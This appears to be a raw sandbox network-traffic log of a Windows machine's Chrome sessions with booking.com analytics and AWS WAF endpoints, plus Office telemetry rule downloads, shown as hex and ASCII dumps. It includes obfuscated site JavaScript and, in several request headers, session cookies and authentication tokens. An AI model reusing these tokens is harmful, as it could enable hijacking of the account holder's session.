2024-11-02 13:00:28 UTC	16384	IN	Data Raw: 62 37 35 65 61 5b 5f 30 78 33 32 62 34 63 66 5b 30 78 37 5d 5d 5b 5f 30 78 33 32 62 34 63 66 5b 30 78 63 5d 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 34 33 66 31 61 64 3d 5f 30 78 32 34 34 34 63 63 2c 5f 30 78 35 61 62 31 35 62 3d 5b 5f 30 78 34 33 66 31 61 64 28 30 78 32 36 35 29 2c 5f 30 78 34 33 66 31 61 64 28 30 78 37 38 38 29 2c 5f 30 78 34 33 66 31 61 64 28 30 78 35 31 34 29 2c 5f 30 78 34 33 66 31 61 64 28 30 78 62 38 39 29 2c 5f 30 78 34 33 66 31 61 64 28 30 78 61 38 33 29 2c 5f 30 78 34 33 66 31 61 64 28 30 78 37 65 30 29 2c 5f 30 78 34 33 66 31 61 64 28 30 78 38 33 61 29 2c 5f 30 78 34 33 66 31 61 64 28 30 78 35 63 64 29 5d 2c 5f 30 78 31 64 31 34 36 61 3d 74 68 69 73 2c 5f 30 78 37 35 66 33 66 63 3d 6e 65 77 20 5f 30 78 32 65 Data Ascii: b75ea[_0x32b4cf[0x7]][_0x32b4cf[0xc]]=function(){var _0x43f1ad=_0x2444cc,_0x5ab15b=[_0x43f1ad(0x265),_0x43f1ad(0x788),_0x43f1ad(0x514),_0x43f1ad(0xb89),_0x43f1ad(0xa83),_0x43f1ad(0x7e0),_0x43f1ad(0x83a),_0x43f1ad(0x5cd)],_0x1d146a=this,_0x75f3fc=new _0x2e
2024-11-02 13:00:28 UTC	16384	IN	Data Raw: 5b 30 78 30 5d 2c 27 53 57 44 4e 45 57 27 3a 5f 30 78 33 64 30 31 39 39 5b 30 78 31 32 5d 2c 27 44 4f 54 4e 45 54 46 4d 27 3a 5f 30 78 33 64 30 31 39 39 5b 30 78 64 5d 2c 27 4d 44 46 48 27 3a 5f 30 78 33 64 30 31 39 39 5b 30 78 66 5d 2c 27 46 4c 48 27 3a 5f 30 78 33 64 30 31 39 39 5b 30 78 32 31 5d 2c 27 53 57 27 3a 5f 30 78 33 64 30 31 39 39 5b 30 78 31 35 5d 2c 27 53 57 44 27 3a 5f 30 78 33 64 30 31 39 39 5b 30 78 65 5d 2c 27 52 50 27 3a 5f 30 78 33 64 30 31 39 39 5b 30 78 31 64 5d 2c 27 51 54 27 3a 5f 30 78 33 64 30 31 39 39 5b 30 78 63 5d 7d 2c 5f 30 78 34 31 36 65 34 37 3b 7d 28 29 3b 5f 30 78 31 33 61 35 65 61 5b 5f 30 78 34 66 38 65 64 64 28 30 78 61 38 33 29 5d 3d 5f 30 78 32 64 36 61 62 65 3b 7d 2c 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 31 65 63 Data Ascii: [0x0],'SWDNEW':_0x3d0199[0x12],'DOTNETFM':_0x3d0199[0xd],'MDFH':_0x3d0199[0xf],'FLH':_0x3d0199[0x21],'SW':_0x3d0199[0x15],'SWD':_0x3d0199[0xe],'RP':_0x3d0199[0x1d],'QT':_0x3d0199[0xc]},_0x416e47;}();_0x13a5ea[_0x4f8edd(0xa83)]=_0x2d6abe;},function(_0x41ec
2024-11-02 13:00:28 UTC	16384	IN	Data Raw: 34 64 62 38 39 35 28 30 78 36 34 62 29 2c 5f 30 78 34 64 62 38 39 35 28 30 78 36 61 33 29 2c 27 73 75 70 70 6f 72 74 73 57 65 62 43 72 79 70 74 6f 53 75 62 74 6c 65 27 5d 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 33 30 65 62 39 28 29 7b 72 65 74 75 72 6e 20 5f 30 78 32 30 32 38 35 63 5b 30 78 31 5d 21 3d 3d 5f 30 78 32 62 66 61 30 35 26 26 5f 30 78 32 62 66 61 30 35 5b 5f 30 78 32 30 32 38 35 63 5b 30 78 36 5d 5d 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7c 7c 74 68 69 73 3b 7d 72 65 74 75 72 6e 28 30 78 30 2c 5f 30 78 64 38 32 66 36 32 5b 5f 30 78 32 30 32 38 35 63 5b 30 78 35 5d 5d 29 28 5f 30 78 32 33 30 65 62 39 2c 5f 30 78 32 62 66 61 30 35 29 2c 5f 30 78 32 33 30 65 62 39 5b 5f 30 78 32 30 32 38 35 63 5b 30 78 38 5d 5d 5b 5f 30 78 32 30 32 38 Data Ascii: 4db895(0x64b),_0x4db895(0x6a3),'supportsWebCryptoSubtle'];function _0x230eb9(){return _0x20285c[0x1]!==_0x2bfa05&&_0x2bfa05[_0x20285c[0x6]](this,arguments)\|\|this;}return(0x0,_0xd82f62[_0x20285c[0x5]])(_0x230eb9,_0x2bfa05),_0x230eb9[_0x20285c[0x8]][_0x2028

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	49886	91.235.133.10	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:27 UTC	1152	OUT	GET /fp/clear.png HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
2024-11-02 13:00:27 UTC	359	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:27 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Last-Modified: Sat, 02 Nov 2024 13:00:27 GMT Expires: Thu, 01 Nov 2029 13:00:27 GMT Etag: 8d7b3c6ec0334b58998d753a5d787f9e Cache-Control: private, must-revalidate, max-age=0 Content-Length: 81 Connection: close Content-Type: image/png
2024-11-02 13:00:27 UTC	81	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 01 08 06 00 00 00 f4 22 7f 8a 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 0b 49 44 41 54 08 d7 63 60 80 02 00 00 09 00 01 63 2a 16 0d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR"sRGBIDATc`c*IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	49888	108.138.26.94	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:27 UTC	679	OUT	POST /d8c14d4960ca/c2181391033f/verify HTTP/1.1 Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com Connection: keep-alive Content-Length: 9199 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://account.booking.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:27 UTC	9199	OUT	Data Raw: 7b 22 63 68 61 6c 6c 65 6e 67 65 22 3a 7b 22 69 6e 70 75 74 22 3a 22 65 79 4a 32 5a 58 4a 7a 61 57 39 75 49 6a 6f 78 4c 43 4a 31 59 6d 6c 6b 49 6a 6f 69 59 32 46 6c 4d 54 41 78 4d 6a 49 74 4d 32 4a 69 59 53 30 30 4e 7a 51 77 4c 57 45 77 59 57 59 74 4f 57 4d 35 4d 54 67 32 5a 57 51 31 5a 6d 51 7a 49 69 77 69 59 58 52 30 5a 57 31 77 64 46 39 70 5a 43 49 36 49 6a 45 31 4f 47 4a 6d 5a 54 55 31 4c 57 49 31 4d 54 6b 74 4e 44 41 35 4f 53 31 69 59 6a 6b 77 4c 57 56 69 4d 54 64 6d 4d 47 59 7a 59 54 42 6b 4e 43 49 73 49 6d 4e 79 5a 57 46 30 5a 56 39 30 61 57 31 6c 49 6a 6f 69 4d 6a 41 79 4e 43 30 78 4d 53 30 77 4d 6c 51 78 4d 7a 6f 77 4d 44 6f 79 4d 79 34 7a 4e 7a 63 32 4e 44 55 33 4d 6a 4e 61 49 69 77 69 5a 47 6c 6d 5a 6d 6c 6a 64 57 78 30 65 53 49 36 4e 43 77 69 Data Ascii: {"challenge":{"input":"eyJ2ZXJzaW9uIjoxLCJ1YmlkIjoiY2FlMTAxMjItM2JiYS00NzQwLWEwYWYtOWM5MTg2ZWQ1ZmQzIiwiYXR0ZW1wdF9pZCI6IjE1OGJmZTU1LWI1MTktNDA5OS1iYjkwLWViMTdmMGYzYTBkNCIsImNyZWF0ZV90aW1lIjoiMjAyNC0xMS0wMlQxMzowMDoyMy4zNzc2NDU3MjNaIiwiZGlmZmljdWx0eSI6NCwi
2024-11-02 13:00:28 UTC	615	IN	HTTP/1.1 200 OK Content-Type: application/json Content-Length: 300 Connection: close Date: Sat, 02 Nov 2024 13:00:27 GMT x-amzn-waf-challenge-id: Root=1-6726226b-7e391f604b8972dd4fc60a1b access-control-max-age: 86400 access-control-allow-origin: * access-control-allow-methods: OPTIONS,GET,POST cache-control: no-cache, no-store, must-revalidate pragma: no-cache expires: 0 X-Cache: Miss from cloudfront Via: 1.1 8dc3ccc34d68ee81173fff2a80f72bde.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P7 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: OAj0yVdMOKCsJJ-Dp-x5-lVxQ9OMNzJAXZd4jvecxLercqXBjyOiTg==
2024-11-02 13:00:28 UTC	300	IN	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 22 32 33 36 64 31 63 62 63 2d 65 33 32 36 2d 34 37 34 66 2d 38 31 37 62 2d 33 30 30 34 36 38 34 32 64 39 34 63 3a 45 67 6f 41 76 30 5a 61 4f 4c 4a 4b 41 67 41 41 3a 4f 52 44 51 74 62 51 4f 41 59 34 73 69 42 6e 6b 4a 33 43 75 5a 44 75 75 4a 35 58 71 4b 49 45 36 39 48 66 7a 4a 44 50 43 37 57 33 34 70 37 69 57 51 51 68 35 33 63 46 69 6a 75 51 70 59 34 66 31 64 49 36 36 68 6a 4e 57 48 55 4a 45 61 6a 76 43 43 48 30 4c 78 31 6b 58 38 77 75 45 33 56 46 6b 75 79 75 79 35 35 36 32 46 59 34 6c 5a 32 69 48 50 65 63 4a 67 4d 66 67 46 6e 6f 37 66 6d 7a 68 32 49 69 50 43 35 2f 67 4c 55 46 31 45 79 5a 6b 48 62 75 54 4d 58 65 48 31 49 69 61 4a 6a 6b 2f 42 5a 6b 39 33 4f 77 61 39 6a 76 4b 65 45 4c 30 4c 49 34 76 43 45 62 2f 39 61 56 4e 6f 68 78 Data Ascii: {"token":"236d1cbc-e326-474f-817b-30046842d94c:EgoAv0ZaOLJKAgAA:ORDQtbQOAY4siBnkJ3CuZDuuJ5XqKIE69HfzJDPC7W34p7iWQQh53cFijuQpY4f1dI66hjNWHUJEajvCCH0Lx1kX8wuE3VFkuyuy5562FY4lZ2iHPecJgMfgFno7fmzh2IiPC5/gLUF1EyZkHbuTMXeH1IiaJjk/BZk93Owa9jvKeEL0LI4vCEb/9aVNohx

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:27 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:27 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65394723-101e-00a2-80f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130027Z-15869dbbcc6sg5zbhC1DFWbk2000000000q000000000183s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:27 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:27 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: c6b44c52-001e-0028-1ef0-2cc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130027Z-15869dbbcc6sg5zbhC1DFWbk2000000000n0000000004ga7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:27 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ceff4d6f-101e-007a-10c7-2c047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130027Z-16547b76f7fnlcwwhC1DFWz6gw00000000r000000000ce29 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:27 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:27 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 38f7eb3e-301e-006e-6008-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130027Z-16547b76f7f7jnp2hC1DFWfc3000000000rg0000000066a8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:28 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:27 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:28 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 3638edcf-001e-00ad-4f0c-2c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130028Z-r159446fcd77lkv8hC1DFWycvw00000001fg000000008ezc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:28 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	49900	91.235.133.10	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:28 UTC	1840	OUT	GET /xW0KoT92WnicNNTb?495376562534e9d1=-n7AKwsH_FYqlWoeD96nobeF5sEdEo-hhnIm4-YW3MSySixp4T0rs-fqX8FWef-ALgHJ_GA-gEWXMVawLV8px-E3XF8uAId4P1saWpUKeRG4U4WjV5qhadoIBsd1W2czF570D1rXqtta93-kQCb68pJRVmY&jf=3336266e73623f346e373262606c393434316d34393464313f6138343b333c60303b6634323962 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://asanalytics.booking.com/CvvXMUccr6E3ph3y?1cc01da8db961767=JI3-jrpjkLDyhGzKSUTSYtpoAduuUYP77Psm1XOnM8MEueBfEP1sgw7TFuJx1He3WMkZhzXTcFNgsaU2N6ulYOsAzwZQOziO13H7hSsyK74g0wjMDtUYrU0VjQbTgv6z0i3CWpbiUUCaEn88HtSHELr83bCmVMD1BifcwHWMkBXgqPPpmxiDTP8pSHI1qymVAWAQ-SGsxgfxrgTrLsE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
2024-11-02 13:00:28 UTC	362	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:28 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Length: 0 Content-Type: text/javascript

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	49901	91.235.133.10	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:28 UTC	1756	OUT	GET /7hGTh9OUjYGo3LSe?8f99ece7b8384103=xo1-sFTvGGV6RfJxJ-oe22zy0yo4lj6c7SGCIHSzCmhA04qkbE1dq77POuw3Cbfid0Qzs_NPO3371r494eZNPbMZifRYZzXkKrdJqB3ke-9dFDaBtgeKHsnjbMHJSX4tecEogzP3OVmu-yXmlMhaJQ&fr HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: 